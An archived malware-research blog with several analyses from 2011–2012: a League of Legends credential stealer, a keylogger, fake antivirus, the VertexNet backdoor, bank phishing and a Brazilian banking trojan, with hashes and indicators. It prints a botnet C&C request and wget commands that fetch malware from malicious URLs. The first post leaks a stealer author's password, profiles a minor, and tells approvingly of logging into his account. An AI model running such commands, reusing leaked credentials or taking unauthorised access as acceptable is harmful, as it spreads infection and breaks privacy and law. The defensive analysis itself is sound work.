MalwareDisasters is a division of MalwareIntelligence. In the same test information is captured about the behavior of malicious code, and also offering the necessary countermeasures to mitigate the malicious actions in question.

9.13.2012

League of legends Malware Attack

As you may already know,cyber criminals find different ways to infect computers and steal sensitive information which later they use for their bad purposes.This time,at facebook i stumbled upon a League of legends themed scam,needless to say that most of my friends are also victims.They "offer" free riot points.Let's have a look then.



As you can see,it's just a very "amateur" project,probably written in VB. To me,it looks kinda "phishy" and i really doubt whether it works or not.I would also like to mention that Riot INC is a very trustworthy company,don't try to search for any "hacks" that will give you Riot points,you will most likely fail and end up getting scammed or infected.

What was my first thoughts?It's just a regular stealer which will send your information to the author .I was right. Let's check the network activity,when you press the button "Press Here For RP".



I guess,you may have already noticed some strange network activities. But really,what is it?I don't understand a thing,that's because the packets are encrypted. So,where are my information sent?I used a tool called .NET Reflector,this tool will be able to enlighten us. Let's dive into a real debugger and grab more information about the author.



As you can see,he's using the smtp.gmail client to receive the logs and the logs are sent to the "red blurred" gmail.By the way,i am not that bad to publish his e-mail,i will tell you later why. He only wants Textbox.1 which is obviously your username,and textbox.2 which is your password.The subject of the email should be victim's username and the body should contain the password.

His Gmail password is 59347763,if the password is changed,then this programme will be useless,as it won't be able to get past through the gmail verification,therefore the logs won't be sent. Using google i was able to find even more information about the author. He got the idea of creating a phising applicaiton when he saw a tutorial at YouTube. Here,he's seeking for help and he gave his email to contact him.





What literally shocked me is that,he's only 15 years old and he's coming from Greece,from my country. Here he wants to buy a "Spy Recording Camera".



What great times do we live in,even a 15 years old kid can create his own phising application and start stealing information,just from a simple tutorial. There's too much freedom in the internet or what. Since he is only 15 years old (we have the same age),i don't want to ruin his life and that's why i didn't show you his email. I logged at his gmail and deleted all the logs,i also warned him that the next time,i won't be that good. This application should be detected as a PUP(Potentially unwanted programme).



I just wanted to show you how easy is nowadays to create your own phising programme, and start stealing credentials. Stay safe!

Phillip, Malware Researcher





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7.19.2012

I give you a picture and you give me your private data! What you say?


MD5 :  bf25f7588c58cd4b7cc5ac04ebfd00c5
SHA1:  1c8e7315fae2a2af199bc3d79a5fec5cc8de4f79
['Microsoft Visual Basic v5.0 - v6.0']

PE Information
     Win32 Executable Microsoft Visual Basic 6 (86.2%)
     Win32 Executable Generic (5.8%)
     Win32 Dynamic Link Library (generic) (5.1%)
     Generic Win/DOS Executable (1.3%)
     DOS Executable Generic (1.3%)


     Optional Header: 0x400000
     Address Of Entry Point: 0x1b04
     Compile Time: 2012-01-25 10:58:42
     Number of RVA and Sizes: 16
     DLL: False
     Number of Sections: 3


[IMAGE_RESOURCE_DIRECTORY]
     0x2B000    0x0   Characteristics: 0x0       
     0x2B004    0x4   TimeDateStamp: 0x4F1FFC81 [Wed Jan 25 12:58:41 2012 UTC]
     0x2B008    0x8   MajorVersion: 0x0       
     0x2B00A    0xA   MinorVersion: 0x0       
     0x2B00C    0xC   NumberOfNamedEntries: 0x0       
     0x2B00E    0xE   NumberOfIdEntries: 0x3  


Metadata
     Translation: 0x0409 0x04b0
     InternalName: Photo_Viewer_12_south
     FileVersion: 12.00
     CompanyName: ACDSee Image Viewer
     ProductName: My_Photos
     ProductVersion: 12.00
     OriginalFilename: Photo_Viewer_12_south.exe

Registry
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
NTS ACDSee Image Viewer c:\windows\system32\wpowercfg.exe

VT detection rate 19/37

The malware has keylogging functionality. All captured information is sent via SMTP and displays an image run:


Do you know this girl? :-)


Alex

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7.13.2012

New variant of another fake antivirus program called Live Security Platinum


This is the icon used for the fakeAV


Technical information & PE file attribute
MD5 :  8ed72a01f6dd01cf353091492d7e96c6
SHA1:  a810430d6d26e97b1a8b48898d8effe4ed8a140e
['Microsoft Visual C++ v6.0'], ['Microsoft Visual C++ 5.0'], ['Microsoft Visual C++'], ['Microsoft Visual C++ v6.0'], ['Installer VISE Custom']


PE information & sections:      
      Win32 Executable MS Visual C++ (generic) (65.2%)
      Win32 Executable Generic (14.7%)
      Win32 Dynamic Link Library (generic) (13.1%)
      Generic Win/DOS Executable (3.4%)
      DOS Executable Generic (3.4%)


     Optional Header: 0x400000
     Address Of Entry Point: 0x1953
     Compile Time: 2012-07-12 09:06:36
     Number of RVA and Sizes: 16
     Number of Sections: 4


Imported DLLs and API:
[1] KERNEL32.dll     
     0x407000 Sleep
     0x407004 CloseHandle
     0x407008 GetProcAddress
     0x40700c GetModuleHandleA
     0x407010 InterlockedExchange
     0x407014 SetEvent
     0x407018 CreateFileA
     0x40701c VirtualAllocEx
     0x407020 LCMapStringA
     0x407024 GetStringTypeW
     0x407028 GetStringTypeA
     0x40702c MultiByteToWideChar
     0x407030 RaiseException
     0x407034 LoadLibraryA
     0x407038 GetOEMCP
     0x40703c GetStartupInfoA
     0x407040 GetCommandLineA
     0x407044 GetVersion
     0x407048 ExitProcess
     0x40704c HeapFree
     0x407050 TerminateProcess
     0x407054 GetCurrentProcess
     0x407058 UnhandledExceptionFilter
     0x40705c GetModuleFileNameA
     0x407060 FreeEnvironmentStringsA
     0x407064 FreeEnvironmentStringsW
     0x407068 WideCharToMultiByte
     0x40706c GetEnvironmentStrings
     0x407070 GetEnvironmentStringsW
     0x407074 SetHandleCount
     0x407078 GetStdHandle
     0x40707c GetFileType
     0x407080 HeapDestroy
     0x407084 HeapCreate
     0x407088 VirtualFree
     0x40708c RtlUnwind
     0x407090 WriteFile
     0x407094 HeapAlloc
     0x407098 VirtualAlloc
     0x40709c HeapReAlloc
     0x4070a0 GetCPInfo
     0x4070a4 GetACP
     0x4070a8 LCMapStringW
[2] USER32.dll       
     0x4070b0 LoadBitmapA
     0x4070b4 ShowWindow
     0x4070b8 LoadImageA
     0x4070bc LoadIconA
[3] WINMM.dll        
     0x4070c4 mixerGetControlDetailsA


VT information about detection rate 22/42


Live Security Platinum screenshots
Warning popups


Live Security Platinum GUI:





Live Security Platinum monetization

Live Security Platinum registration

** Information obtained through the automated process malware analysis of CrimewareAttack Service(by  MalwareIntelligence).

Alex



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7.06.2012

Generic trojan type backdoor via popular crimeware “Loader”

This is the icon used for this malware.


Technical information & PE file attribute
MD5 :  aab21e11953aee66ff16772576ceaec0
SHA1:  576910d3ae484144db32dd835594c605dac90a9d
[['Microsoft Visual C++ 8'], ['VC8 -> Microsoft Corporation']


This malware was created and is spread through crimeware "VertexNet Loader".


PE information & sections:
     57.9% (.EXE) Win32 Executable MS Visual C++ (generic) (31206/45/13)
     12.2% (.DLL) Win32 Dynamic Link Library (generic) (6581/28/2)
     12.0% (.EXE) Win32 Executable Generic (6514/8/2)
     10.3% (.EXE) Win64 Executable Generic (5563/38/1)
     3.7% (.EXE) Generic Win/DOS Executable (2002/3)


Mutex: VN_MUTEX16
Optional Header: 0x400000
Address Of Entry Point: 0xaf4a
Compile Time: 2011-06-20 11:05:05
Number of RVA and Sizes: 16
Number of Sections: 5


API Functions:

     InternetReadFile
     CreateProcess
     WinExec
     ShellExecute
     URLDownloadToFileA

VT information about detection rate 35/42 


VN_MUTEX16 is the string that is set as default "mutex" through internal constructor VertexNet Loader:

This information corresponds to the default settings when creating the bot through the internal constructor:


Information report in the C&C statistics panel about infected machine:


This information is inserted into the database (default MySQL) of the crimeware. You can see this information/C&C communication in traffic capture:

GET /x1/adduser.php?uid={52bacd1a-7586-11e0-a813-xxxxxxxxxxxx--1962905967}
&lan=XXX.XXX.XXX.XXX&cmpname=XXXXXXXXXX-59903E%20[Administrator]&country= &idle=0&ver=v1.2 HTTP/1.1
User-Agent: V32
Host: tinker.vn

You can read more information about the functions, command and extract data in infected machine for this crimeware in MalwareIntelligence post: VertexNetLoader crimeware timeline, popular functions and marketing scheme


VertexNet Loader crimeware C&C
In this case, the malicious software have you control panel in hxxp://tinker.vn/x1/


** Information obtained through the automated process malware analysis of CrimewareAttack Service (by  MalwareIntelligence).

Alex

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4.12.2011

Increase in Dutch banking phishing

The last few months there was an increase in a phishing campaign targeted on customers from Rabobank and ING, two major banks in The Netherlands and Belgium. Some examples of a phishing mail:

Phishing email for ING with the subject “Account Verificatie” (or in English: “Account Verification”)


Phishing email for Rabobank with the subject “Customer Services Update”.

If you speak the Dutch language, you notice the content of the emails are actually more different than most phishing mails. In fact there’s a bigger variety, and in the first version there is almost no grammatical or spelling error. The second email - for Rabobank- however, is clearly a Google Translate copy/paste job.

All emails seem to be originating from valid email addresses, domains are pointing to @rabobank.nl and @ing.nl , which are in fact legitimate addresses from the two banks.
However, if we check the message headers we can see IP’s originating from Nigeria:

41.155.32.70IPVoid results
82.128.38.67IPVoid results

Another IP address is originating from New Zealand and is actually blacklisted on several blacklists, as can be confirmed when checking with IPVoid:

203.97.33.68IPVoid results

This means the email-addresses are spoofed to trick users into believing the email is valid.
Now, what happens if you click on the link included in the message?  You will be redirected to any of these pages:

Phishing website for ING. The user needs to login with his/her username and password. You can also opt to login with the ‘calculator’. The calculator is in fact a card reader which you can use to login.


Phishing website for Rabobank.  You can login using your account number, access code, and PIN code. You can also use your card reader.

The intention of these emails is of course to steal user credentials and empty the account of the duped user. These attacks are pretty well orchestrated. If you click on any of the links on the phishing page, it will redirect you to the real ING website which provides extra information on the topic you clicked on.

The following tips do not only apply to the above story, but apply to any other (suspicious) email you receive:
  • Do not click on any of the links (or anything for that matter) in the email you have received.
  • Do not reply to the email.
  • Delete the email immediately, certainly if you are not a customer of the aforementioned bank or did not order anything, changed your password, and so on.
  • If you really need to access or check your bank account, visit the website directly by typing the address in your browser’s address bar. Also verify the URL starts with https instead of http.
  • Another useful trick is to hover over the link in the email. In the bottom left corner you should be able to see the real address behind the URL displayed.
  • When in doubt, you can double-check using URL scanning services such as VirusTotal or URLVoid by our partner NoVirusThanks.

MalwareIntelligence Team

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2.21.2011

New whitepaper about Carberp Botnet

Is available a new whitepaper that describes the operation of one of the botnets "wanted" by the security community: Carberp.

The article, called Inside Carberp Botnet and written by Francisco Ruiz, Crimeware Research of MalwareIntelligence, details the different parts of this crimeware, leaving evidence of its full operating mode.

In recent weeks, has returned to Carberp impact due to the revival of several of his former C&C. However, experts believe MalwareIntelligence have concrete evidence that would demonstrate that in fact the original group that was behind the first generation of Carberp is broken, and that some of the new botnets that spread banking trojan Carberp are managed through a modified version of the original.

MalwareIntelligence have a Carberp Working Group, responsible for private research and demand of this particular threat. In the main blog, Ruiz also said that a botnet Carberp private market in a very closed environment, but since a few days ago, the marketing model has been released, giving some details of its current features and costs.

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2.14.2011

Facebook rogue applications still lurking around

For quite some time now there are rogue applications  trying to convince you that you are able to check whoever viewed your profile. There are a lot of different names for this rogue application, some but not all include:

  • creep exterminators
  • catch them being creepy
  • creepy profile peekers
  • privacy bros
  • we catch stalkers
So what will this fake application do? For starters, it will surely NOT show you who's been viewing your profile.  If you land on this application, you will be presented with the following screen:

Profile Creeps application

Request for permission

You then have to allow access from the application so they can show you who's been lurking around your profile. But wait ! You first have to complete a survey and then you are able to check it out. Simple, right?

Facebook verification

Not exactly. These fake surveys are pretty common on the internet. It is a typical scam. For example, I had one particular survey that urged me to download SmileyCentral, the other tried to deliver me Webfetti.

Another fake survey wanted me to fill in my phone number, and afterwards send an (expensive) text message to 'unlock' the application. In addition to letting you fall into one of these scams, the rogue application also promotes itself on all of your friends’ walls:





Rogue application spreading itself on other people’s wall


If you would like to remove it, follow the steps below:
  • Go to your Facebook profile. Find the post that mentions the "stalker" application
  • Skim over it and you will see an X appear. Click on it and choose "Remove (name of the fake application here)".
  • Additionally, you can also report it as abusive to help in stopping these type of applications.
  • Next step is to click on My Account and choose Privacy Settings. Down below you can see "Apps and websites". Click on Edit your settings.
  • Select Remove unwanted or spammy apps. You can now Edit the application and remove it.

MalwareIntelligence Team

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1.30.2011

Big Brother Brazil 2011 (AKA BBB 2011) malware attack

Big Brother 2011 (AKA BBB 2011) begins in Brazil and it's a motivation for social engineering attacks.

Big Brother Brasil 2011 began on January 11th in Brazil and malware authors should be celebrating, thus, because this is something very popular so it's easy to attract victims (via social engineering) to 'see' videos or pictures of the BBB 2011 participants.

We will show you a threat which came in form of a phishing and using social engineering ask recipients to click in a link in order to watch a video of a transsexual which is making the man's participants of the BBB 2011 confused.

As you can see on the original e-mail below, the attacker uses a technique known as DHA (Directory Harvest Attack) against the @hotmail.com domain in order to send the phishing message to valid e-mail addresses.



Note that when you move the mouse to the link which appears that will get you to the youtube.com, on the status bar you can see that it will not get you to the youtube.com website. It will get you to the website hxxp://twurl.nl/rbpm6s.

Below you have the source code of the phishing message:

----------------------------------------------------------------
X-Message-Delivery: Vj0xLjE7dXM9MDtsPTA7YT0wO0Q9MjtTQ0w9Ng==
X-Message-Status: n
X-SID-PRA: globo.com (BBB 2011)
X-SID-Result: Fail
X-DKIM-Result: None
X-AUTH-Result: FAIL
X-Message-Info: DkpufaDli9Iih8M1I3rOCBHB3/E1htFb2qXrXVLfpfjlNFuHVG90WYrx2zq5Mw1fmsHKOjL4weQGCOatyx0Pn7FYN0czafnY9kSTqtv24cY=
Received: from wl01.ws.poa.ige ([201.94.125.1]) by col0-mc3-f16.Col0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
     Tue, 18 Jan 2011 10:21:08 -0800
Received: from wl01.ws.poa.ige (dcrs8211 [127.0.0.1])
    by wl01.ws.poa.ige (8.13.8/8.13.8) with ESMTP id p0IH1auJ030937;
    Tue, 18 Jan 2011 15:01:36 -0200
Received: (from httpd@localhost)
    by wl01.ws.poa.ige (8.13.8/8.13.8/Submit) id p0IH1ZXl030933;
    Tue, 18 Jan 2011 15:01:35 -0200
To: baa@hotmail.com, bbb@hotmail.com, bcc@hotmail.com,
bdd@hotmail.com, bee@hotmail.com
Subject: ariadna (transesual) no bbb 2011 deixa homens confuso....
X-PHP-Script: mylove2010.info/catastrofe/feed10.php for 187.57.247.86
Date: Tue, 18 Jan 2011 15:01:34 -0200
From: "globo.com (BBB 2011)"

Reply-to: "globo.com (BBB 2011)"

Message-ID: <63a5faa6442cd3b2f870f2ac7a99bde7@mylove2010.info>
X-Priority: 3
X-Mailer: Microsoft Outlook Express 6.00.2800.1409
X-MimeOLE: Produced By Microsoft MimeOLE V6.10.2800.1409.1718742875.rg.sm31
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
Content-Type: text/html; charset="iso-8859-1"
Return-Path: httpd@wl01.ws.poa.ige

----------------------------------------------------------------

As you can see on the source code, this phishing message involves three main characteristics:

  1. A file named feed10.php
  2. A file named ariedina.jpg3
  3. A link pointing to the website hxxp://twurl.nl/rbpm6s.
 
Analyzing the file feed10.php
I have downloaded this script page by using the webget utility. See the screenshot below:

wget -v mylove2010.info/catastrofe/feed10.php


As you can see above, this is a smtp engine used by this threat. Just in case I have submitted this PHP script to virustotal and you can see the results. This sounds a true smtp engine script, so there is no malware associated to this program, while it might be used by malwares.

Analyzing the file ariedina.jpg3

This is just a picture which is used to attract people to click and see a 'video' at youtube.com, however, as you can see on the source code there is a HREF instruction so when the user clicks on this picture (anywhere) it will get the user to the malicious website: hxxp://twurl.nl/rbpm6s

I have downloaded this picture so I could analyze it and saw that it's really just a picture:

wget -v http://lh4.ggpht.com/_FJQwbg0nrOk/TTGRJVC1KtI/AAAAAAAAAMs/CUvYCECUkhM/ariedina.jpg3



I have submitted this file to the virustotal website so you can get the report using the link below. There are no detection since this is just a picture.

Analyzing the link hxxp://twurl.nl/rbpm6s

Using wget pointing to the URL hxxtp://twurl.nl/rbpm6s resulted in downloading a file named youtube_video756.exe.

wget -v http://twurl.nl/rbpm6s

Analyzing youtube_video756.exe

After submitting this sample to virustotal you can see that some AV vendors detects this threat. Some of them using signatures and a couple of them using a in-cloud technology.

If you run youtube_video756.exe, it will basically perform the following activities:

Create a copy of itself using a file named Recorte de tela e Iniciador do OneNote 2007.exe on the folder "C:\Documents and Settings\%user%\Start Menu\Programs\Startup\". This process is then launched.

It connects to the ftp site ftp.biancarox.net using the username cohabrox and a password which will not be reported here just in case. It downloads 10 files (listed below) to the folder C:\documents and setings\%user%\. While all of these files have a .txt extension, they are not a true .txt file. Looking at its strings you can see that they are really executables.


Taking a look at the process strings (below), we can see several internet bank sites of Brazil and two webmail websites.



When you open Internet Explorer and type one of the target URLs, like www.bradesco.com.br (which is a true bank of Brazil), it will kill iexplorer.exe and will load a new process C:\Document and Settings\%user%\®¢Ÿª¤ª¥ž¥.txt. If you type anoher URL on the IE address bar like www.bradescoprime.com.br, another process will be launched on this case it would be the ®ž“§«š§«š.txt.

This process is a fake application which emulates the requested website and it will capture your bank agency, account, token, passwords, etc. See screenshots below:



While you are typing your bank agency, account, password, token, etc, the trojan is capturing everything and is written it to a *.bsp file on the C:\Documents and settings\%user%\. Below you have an example:


Indicators of compromise

Check for the existence of the following MD5 on the C:\Documents and Settings\%user%\.

  • edaa81ad2165c65bb340e636bf642291
  • b82c51f94b0e516f461b6f84a668dfde
  • 76184bebea96f59086368b64a896d224
  • f590d18d7b50109c03c6237d86e8415d
  • 52ea037028eb2274147aef1edfb64865
  • daa21069ae179cc0f195cd42795b592b
  • 86802efad8fb5b8153d7c7de67cb66bb
  • fc7592c9f2e2264c687a806459387d30
  • 9547ff6be241b5bb8a87f0dabe3b3218
  • 5cd6a3ac2b2d97e36091a1ecd2fd0aec
Check if the process Recorte de tela e Iniciador do OneNote 2007.exe is running or present on the folder C:\Documents and Settings\*\Start Menu\Programs\Startup\ (it's MD5 is d34c8d3ad55f65d701264a5e8e278915)

Network connections to:

  • hxxp://mylove2010.info/catastrofe/feed10.php
  • hxxp://twurl.nl/rbpm6s
  • hxxp://livinianot.com.br/
  • ftp.biancarox.net
Below you have a report from VirusTotal regarding the samples that we have analyzed here:


id=968db70645fceeb734ba941ee78d51848057762b0559709238c59d4391d1c25e-1295986300
id=961a9c536b98d02172eb48bd2e0e4881591ac1eb607bf1ea7f267f4994c6b6f6-1295986210
id=e6a33cbba7e6348c41cb7e10acac4efaf47286603d54d1c7088f8772bb0f23e8-1295986257
id=4e908de9a38bb3b90435b0d8b733ad11836a8f65bff2cd6cd247fd47a332af16-1295996254
id=d12ef9562f2deae6ef8e7d5842bf1f1425fc23ce7b6c2265a62189eac14e966f-1295985855
id=8d1a2ece03010fe9610c852a70d13c22f9e91d93e39abc939a742d84b279ea64-1295996475
id=457278ad3bc382dd5159c0be8e9f2f2e3e1cf9191861b56497c81f21f423808d-1295996615
id=55d9afec1ad24fcfec03f03cbc7be9b6c21a614db87432e925cdc8112c551c5e-1295996949
id=73cc47196be7bd8c0f7764a46cb4488266bef2ea1ffccbdbd91cd0b62c79919d-1295997136
id=26f542326786e4facd624fcb170a71c6a2e709e23c8f4cffa4715e133869316b-1295980568
id=8f5c8ad99ded74d3cc233b691a803fc6f00ac3113ad67c6f6802ac3ea0f727fc-1295389644

Bruno Caseiro
Malware Researcher

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